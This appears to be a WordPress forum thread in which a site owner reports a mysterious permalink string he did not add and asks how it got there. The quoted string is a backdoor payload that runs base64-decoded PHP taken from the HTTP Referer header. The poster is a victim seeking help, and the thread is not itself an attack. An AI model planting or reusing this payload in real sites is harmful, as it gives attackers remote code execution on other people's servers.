Ok. I looked at the Permalink options and somehow the extra characters when in there. Very odd. I guess I solved my problem. But I still would like to hear from a Blog guru or two about how this could have happened. I did not put it there and the string was not random so it doesn’t look like an accident. Thanks. Andy
In WP 2.8.4, the extra stuff shows up in the as the Permalink as I am creating a new post. But the extra characters:
/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
are not editable. I would have thought that any hack would have been over written by the update to 2.8.4.
I updated to WP 2.8.4 which did not fix the problem. I deactivated all my plugins and this did not fix the Permalink issue.
cais – Thanks for the suggestion. I found that “the_excerpt_rss()” call does exactly what I want.
